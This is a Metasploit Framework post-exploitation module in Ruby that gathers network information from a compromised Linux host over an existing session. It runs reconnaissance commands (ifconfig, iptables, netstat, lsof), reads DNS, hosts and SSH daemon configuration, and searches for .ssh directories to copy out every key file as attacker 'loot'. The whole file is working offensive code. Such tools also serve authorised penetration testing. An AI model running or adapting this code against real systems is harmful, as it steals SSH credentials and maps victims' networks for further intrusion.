##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'

class Metasploit3 < Msf::Post

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Linux::Priv
	include Msf::Post::Linux::System


	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Linux Gather Network Information',
				'Description'   => %q{
					This module gathers network information from the target system
					IPTables rules, interfaces, wireless information, open and listening
					ports, active network connections, DNS information and SSH information.},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing
						'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux
					],
				'Platform'      => [ 'linux' ],
				'SessionTypes'  => [ 'shell' ]
			))
	end

	# Run Method for when run command is issued
	def run
		host = get_host
		user = execute("/usr/bin/whoami")
		print_status("Module running as #{user}")


		# Collect data
		distro = get_sysinfo
		print_good("Info:")
		print_good("\t#{distro[:version]}")
		print_good("\t#{distro[:kernel]}")

		print_status("Collecting data...")

		nconfig = execute("/sbin/ifconfig -a")
		routes = execute("/sbin/route -e")
		iptables = execute("/sbin/iptables -L")
		iptables_nat = execute("/sbin/iptables -L -t nat")
		iptables_man = execute("/sbin/iptables -L -t mangle")
		resolv = cat_file("/etc/resolv.conf")
		sshd_conf = cat_file("/etc/ssh/sshd_config")
		hosts = cat_file("/etc/hosts")
		connections = execute("/usr/bin/lsof -nPi")
		wireless = execute("/sbin/iwconfig")
		open_ports = execute("/bin/netstat -tulpn")
		updown = execute("ls -R /etc/network")

		ssh_keys = get_ssh_keys

		# Save Enumerated data
		save("Network config", nconfig)
		save("Route table", routes)
		save("Firewall config", iptables + iptables_nat + iptables_man)
		save("DNS config", resolv)
		save("SSHD config", sshd_conf)
		save("Host file", hosts)
		save("SSH keys", ssh_keys) unless ssh_keys.empty?
		save("Active connections", connections)
		save("Wireless information", wireless)
		save("Listening ports", open_ports)
		save("If-Up/If-Down", updown)

	end

	# Save enumerated data
	def save(msg, data, ctype="text/plain")
		ltype = "linux.enum.network"
		loot = store_loot(ltype, ctype, session, data, nil, msg)
		print_status("#{msg} stored in #{loot.to_s}")
	end

	# Get host name
	def get_host
		case session.type
		when /meterpreter/
			host = sysinfo["Computer"]
		when /shell/
			host = session.shell_command_token("hostname").chomp
		end

		print_status("Running module against #{host}")

		return host
	end

	def execute(cmd)
		vprint_status("Execute: #{cmd}")
		output = cmd_exec(cmd)
		return output
	end

	def cat_file(filename)
		vprint_status("Download: #{filename}")
		output = read_file(filename)
		return output
	end

	def get_ssh_keys
		keys = []

		#Look for .ssh folder, "~/" might not work everytime
		dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
		ssh_base = ''
		dirs.each do |d|
			if d =~ /(^\/)(.*)\.ssh$/
				ssh_base = d
				break
			end
		end

		# We didn't find .ssh :-(
		return [] if ssh_base == ''

		# List all the files under .ssh/
		files = execute("/bin/ls -a #{ssh_base}").chomp.split()

		files.each do |k|
			next if k =~/^(\.+)$/
			this_key = cat_file("#{ssh_base}/#{k}")
			keys << this_key
		end

		return keys
	end
end
